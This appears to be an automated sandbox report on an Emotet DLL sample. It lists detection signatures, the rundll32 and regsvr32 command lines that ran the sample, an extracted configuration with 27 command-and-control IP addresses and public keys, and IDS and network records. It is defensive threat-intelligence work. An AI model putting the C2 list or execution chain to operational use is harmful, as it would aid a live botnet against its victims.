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Windows Analysis Report pugKLanrj3

Overview

General Information

Sample Name:	pugKLanrj3 (renamed file extension from none to dll)
Analysis ID:	553115
MD5:	db9535477013554eb17c837e6bd92324
SHA1:	ba4fa056de631759ffa5600dd1142a1280d2f051
SHA256:	df234584db0c8aa194c6873b78c8ae0018f0c5f445c5c8a2e90c5e3131310ad0
Tags:	32dllexetrojan
Infos:
Most interesting Screenshot:

Detection

Emotet

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Multi AV Scanner detection for submitted file

Yara detected Emotet

System process connects to network (likely due to code injection or exploit)

Machine Learning detection for sample

Sigma detected: Suspicious Call by Ordinal

C2 URLs / IPs found in malware configuration

Hides that the sample has been downloaded from the Internet (zone.identifier)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Deletes files inside the Windows folder

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Found evasive API chain (may stop execution after checking a module file name)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to dynamically determine API calls

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Creates a DirectInput object (often for capturing keystrokes)

Sample file is different than original file name gathered from version info

PE file contains an invalid checksum

PE file contains strange resources

Tries to load missing DLLs

Contains functionality to read the PEB

Drops PE files to the windows directory (C:\Windows)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Detected TCP or UDP traffic on non-standard ports

Checks if the current process is being debugged

Connects to several IPs in different countries

Potential key logger detected (key state polling based)

Registers a DLL

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 4352 cmdline: loaddll32.exe "C:\Users\user\Desktop\pugKLanrj3.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)

cmd.exe (PID: 3560 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\pugKLanrj3.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 5572 cmdline: rundll32.exe "C:\Users\user\Desktop\pugKLanrj3.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 1312 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\pugKLanrj3.dll",DllRegisterServer MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

regsvr32.exe (PID: 3156 cmdline: regsvr32.exe /s C:\Users\user\Desktop\pugKLanrj3.dll MD5: 426E7499F6A7346F0410DEAD0805586B)

rundll32.exe (PID: 6408 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\pugKLanrj3.dll",DllRegisterServer MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 5504 cmdline: rundll32.exe C:\Users\user\Desktop\pugKLanrj3.dll,DllRegisterServer MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6112 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ubjbeaftth\ufcmfnoys.ulp",EgkecrKVKe MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 5388 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Ubjbeaftth\ufcmfnoys.ulp",DllRegisterServer MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

svchost.exe (PID: 6312 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 5672 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 5104 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6268 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

cleanup

Malware Configuration

Threatname: Emotet

{"C2 list": ["45.138.98.34:80", "69.16.218.101:8080", "51.210.242.234:8080", "185.148.168.220:8080", "142.4.219.173:8080", "54.38.242.185:443", "191.252.103.16:80", "104.131.62.48:8080", "62.171.178.147:8080", "217.182.143.207:443", "168.197.250.14:80", "37.44.244.177:8080", "66.42.57.149:443", "210.57.209.142:8080", "159.69.237.188:443", "116.124.128.206:8080", "128.199.192.135:8080", "195.154.146.35:443", "185.148.168.15:8080", "195.77.239.39:8080", "207.148.81.119:8080", "85.214.67.203:8080", "190.90.233.66:443", "78.46.73.125:443", "78.47.204.80:443", "37.59.209.141:8080", "54.37.228.122:443"], "Public Key": ["RUNLMSAAAADYNZPXY4tQxd/N4Wn5sTYAm5tUOxY2ol1ELrI4MNhHNi640vSLasjYTHpFRBoG+o84vtr7AJachCzOHjaAJFCW", "RUNTMSAAAAD0LxqDNhonUYwk8sqo7IWuUllRdUiUBnACc6romsQoe1YJD7wIe4AheqYofpZFucPDXCZ0z9i+ooUffqeoLZU0"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000007.00000002.308556502.0000000004971000.00000020.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.312426426.0000000004790000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000003.00000002.303864837.0000000002E50000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000007.00000002.308717246.0000000004ED1000.00000020.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000009.00000002.312591906.0000000002E30000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.310675126.00000000006C1000.00000020.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000007.00000002.308496197.00000000047A0000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000A.00000002.818600479.0000000004CA1000.00000020.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000A.00000002.816263427.0000000000551000.00000020.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.312707880.0000000004991000.00000020.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000A.00000002.818149949.0000000004821000.00000020.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.312062487.0000000004571000.00000020.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000003.00000002.303938818.0000000003091000.00000020.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.312157578.0000000004630000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000007.00000002.308585132.0000000004D20000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000002.00000002.303434167.0000000000D20000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.310610436.0000000000690000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000A.00000002.818434536.0000000004B90000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000A.00000002.818253319.00000000049B0000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000007.00000002.308691982.0000000004EA0000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.312211500.0000000004661000.00000020.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000A.00000002.818342645.0000000004A90000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000A.00000002.816816895.00000000006C0000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000A.00000002.818930567.0000000004F70000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000007.00000002.308783720.0000000004FE1000.00000020.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.312650834.0000000004960000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000A.00000002.818769110.0000000004E70000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000A.00000002.818077767.0000000004741000.00000020.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000A.00000002.818990382.0000000004FA1000.00000020.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000A.00000002.818118455.00000000047F0000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.311999484.0000000004540000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000009.00000002.312633523.0000000002E61000.00000020.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000A.00000002.818553417.0000000004C70000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.312609575.0000000004821000.00000020.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000A.00000002.818862903.0000000004EA1000.00000020.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000A.00000002.818277549.00000000049E1000.00000020.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000A.00000002.819036173.0000000004FD0000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000A.00000002.818224414.0000000004981000.00000020.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000A.00000002.818194001.0000000004950000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000A.00000002.819084555.0000000005001000.00000020.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.312500126.00000000047C1000.00000020.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000002.00000002.303487631.0000000000ED1000.00000020.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000A.00000002.816889903.0000000000721000.00000020.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000A.00000002.816215619.0000000000520000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000007.00000002.308811399.0000000005011000.00000020.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000007.00000002.308759081.0000000004FB0000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000A.00000002.818044267.0000000004710000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000A.00000002.818377834.0000000004AC1000.00000020.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000A.00000002.818471974.0000000004BC1000.00000020.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.312556159.00000000047F0000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 45 entries

Unpacked PEs

Source	Rule	Description	Author
7.2.rundll32.exe.4fb0000.5.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.rundll32.exe.6c0000.2.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.4660000.5.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.rundll32.exe.4fa0000.21.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.rundll32.exe.4a90000.12.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.rundll32.exe.4950000.8.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.rundll32.exe.3090000.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.rundll32.exe.4a90000.12.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.rundll32.exe.550000.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.rundll32.exe.47a0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.rundll32.exe.2e50000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.rundll32.exe.4710000.4.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.4630000.4.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.rundll32.exe.2e50000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.rundll32.exe.4fd0000.22.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.rundll32.exe.49b0000.10.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.rundll32.exe.4ed0000.4.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
2.2.regsvr32.exe.d20000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.rundll32.exe.2e30000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.rundll32.exe.4d20000.2.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.rundll32.exe.4820000.7.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.rundll32.exe.4fe0000.6.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.4540000.2.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.rundll32.exe.4ac0000.13.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.rundll32.exe.4e70000.18.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.rundll32.exe.2e30000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.rundll32.exe.520000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.4960000.10.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.4990000.11.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.rundll32.exe.2e60000.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.47f0000.8.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.rundll32.exe.4710000.4.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.4570000.3.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.rundll32.exe.4c70000.16.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.rundll32.exe.5000000.23.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.rundll32.exe.4b90000.14.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.rundll32.exe.720000.3.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.rundll32.exe.4980000.9.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.rundll32.exe.4ea0000.19.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.rundll32.exe.4e70000.18.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.rundll32.exe.49e0000.11.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.rundll32.exe.4ea0000.3.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
2.2.regsvr32.exe.ed0000.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.4790000.6.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.4790000.6.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.4540000.2.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.rundll32.exe.4950000.8.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.rundll32.exe.4ea0000.3.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.rundll32.exe.5010000.7.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.rundll32.exe.6c0000.2.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.rundll32.exe.4fb0000.5.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.rundll32.exe.47a0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.47c0000.7.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.rundll32.exe.4f70000.20.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.rundll32.exe.4f70000.20.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.rundll32.exe.47f0000.6.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.rundll32.exe.4fd0000.22.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.6c0000.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.rundll32.exe.4740000.5.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.690000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.rundll32.exe.4bc0000.15.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.rundll32.exe.4b90000.14.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.rundll32.exe.4970000.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.4960000.10.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.rundll32.exe.520000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.rundll32.exe.4d20000.2.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.4820000.9.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.rundll32.exe.4ca0000.17.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.690000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.rundll32.exe.47f0000.6.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
2.2.regsvr32.exe.d20000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.rundll32.exe.4c70000.16.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.rundll32.exe.49b0000.10.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.4630000.4.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.47f0000.8.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 70 entries

Sigma Overview

System Summary:

Sigma detected: Suspicious Call by Ordinal

Show sources

Source: Process started

Author: Florian Roth: Data: Command: rundll32.exe "C:\Users\user\Desktop\pugKLanrj3.dll",#1, CommandLine: rundll32.exe "C:\Users\user\Desktop\pugKLanrj3.dll",#1, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\pugKLanrj3.dll",#1, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 3560, ProcessCommandLine: rundll32.exe "C:\Users\user\Desktop\pugKLanrj3.dll",#1, ProcessId: 5572

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 10.2.rundll32.exe.4a90000.12.raw.unpack

Malware Configuration Extractor: Emotet {"C2 list": ["45.138.98.34:80", "69.16.218.101:8080", "51.210.242.234:8080", "185.148.168.220:8080", "142.4.219.173:8080", "54.38.242.185:443", "191.252.103.16:80", "104.131.62.48:8080", "62.171.178.147:8080", "217.182.143.207:443", "168.197.250.14:80", "37.44.244.177:8080", "66.42.57.149:443", "210.57.209.142:8080", "159.69.237.188:443", "116.124.128.206:8080", "128.199.192.135:8080", "195.154.146.35:443", "185.148.168.15:8080", "195.77.239.39:8080", "207.148.81.119:8080", "85.214.67.203:8080", "190.90.233.66:443", "78.46.73.125:443", "78.47.204.80:443", "37.59.209.141:8080", "54.37.228.122:443"], "Public Key": ["RUNLMSAAAADYNZPXY4tQxd/N4Wn5sTYAm5tUOxY2ol1ELrI4MNhHNi640vSLasjYTHpFRBoG+o84vtr7AJachCzOHjaAJFCW", "RUNTMSAAAAD0LxqDNhonUYwk8sqo7IWuUllRdUiUBnACc6romsQoe1YJD7wIe4AheqYofpZFucPDXCZ0z9i+ooUffqeoLZU0"]}

Multi AV Scanner detection for submitted file

Show sources

Source: pugKLanrj3.dll	Virustotal: Detection: 26%			Perma Link
Source: pugKLanrj3.dll	ReversingLabs: Detection: 32%

Machine Learning detection for sample

Show sources

Source: pugKLanrj3.dll

Joe Sandbox ML: detected

Source: pugKLanrj3.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2404332 ET CNC Feodo Tracker Reported CnC Server TCP group 17 192.168.2.3:49748 -> 45.138.98.34:80
Source: Traffic	Snort IDS: 2404338 ET CNC Feodo Tracker Reported CnC Server TCP group 20 192.168.2.3:49749 -> 69.16.218.101:8080

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 69.16.218.101 144			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 45.138.98.34 80			Jump to behavior

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	IPs: 45.138.98.34:80
Source: Malware configuration extractor	IPs: 69.16.218.101:8080
Source: Malware configuration extractor	IPs: 51.210.242.234:8080
Source: Malware configuration extractor	IPs: 185.148.168.220:8080
Source: Malware configuration extractor	IPs: 142.4.219.173:8080
Source: Malware configuration extractor	IPs: 54.38.242.185:443
Source: Malware configuration extractor	IPs: 191.252.103.16:80
Source: Malware configuration extractor	IPs: 104.131.62.48:8080
Source: Malware configuration extractor	IPs: 62.171.178.147:8080
Source: Malware configuration extractor	IPs: 217.182.143.207:443
Source: Malware configuration extractor	IPs: 168.197.250.14:80
Source: Malware configuration extractor	IPs: 37.44.244.177:8080
Source: Malware configuration extractor	IPs: 66.42.57.149:443
Source: Malware configuration extractor	IPs: 210.57.209.142:8080
Source: Malware configuration extractor	IPs: 159.69.237.188:443
Source: Malware configuration extractor	IPs: 116.124.128.206:8080
Source: Malware configuration extractor	IPs: 128.199.192.135:8080
Source: Malware configuration extractor	IPs: 195.154.146.35:443
Source: Malware configuration extractor	IPs: 185.148.168.15:8080
Source: Malware configuration extractor	IPs: 195.77.239.39:8080
Source: Malware configuration extractor	IPs: 207.148.81.119:8080
Source: Malware configuration extractor	IPs: 85.214.67.203:8080
Source: Malware configuration extractor	IPs: 190.90.233.66:443
Source: Malware configuration extractor	IPs: 78.46.73.125:443
Source: Malware configuration extractor	IPs: 78.47.204.80:443
Source: Malware configuration extractor	IPs: 37.59.209.141:8080
Source: Malware configuration extractor	IPs: 54.37.228.122:443

Source: Joe Sandbox View	ASN Name: AS-CHOOPAUS AS-CHOOPAUS
Source: Joe Sandbox View	ASN Name: DIGITALOCEAN-ASNUS DIGITALOCEAN-ASNUS

Source: Joe Sandbox View	IP Address: 207.148.81.119 207.148.81.119
Source: Joe Sandbox View	IP Address: 104.131.62.48 104.131.62.48

Source: global traffic

TCP traffic: 192.168.2.3:49749 -> 69.16.218.101:8080

Source: unknown

Network traffic detected: IP country count 12

Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.98.34
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.98.34
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.98.34
Source: unknown	TCP traffic detected without corresponding DNS query: 69.16.218.101
Source: unknown	TCP traffic detected without corresponding DNS query: 69.16.218.101
Source: unknown	TCP traffic detected without corresponding DNS query: 69.16.218.101
Source: unknown	TCP traffic detected without corresponding DNS query: 69.16.218.101
Source: unknown	TCP traffic detected without corresponding DNS query: 69.16.218.101
Source: unknown	TCP traffic detected without corresponding DNS query: 69.16.218.101
Source: unknown	TCP traffic detected without corresponding DNS query: 69.16.218.101
Source: unknown	TCP traffic detected without corresponding DNS query: 69.16.218.101
Source: unknown	TCP traffic detected without corresponding DNS query: 69.16.218.101
Source: unknown	TCP traffic detected without corresponding DNS query: 69.16.218.101
Source: unknown	TCP traffic detected without corresponding DNS query: 69.16.218.101

Source: svchost.exe, 00000011.00000003.419352679.0000024AA7D88000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-01-07T11:33:20.1626869Z\|\|.\|\|d5cdcec3-04df-404e-ba07-3240047c89f9\|\|1152921505694348672\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailab
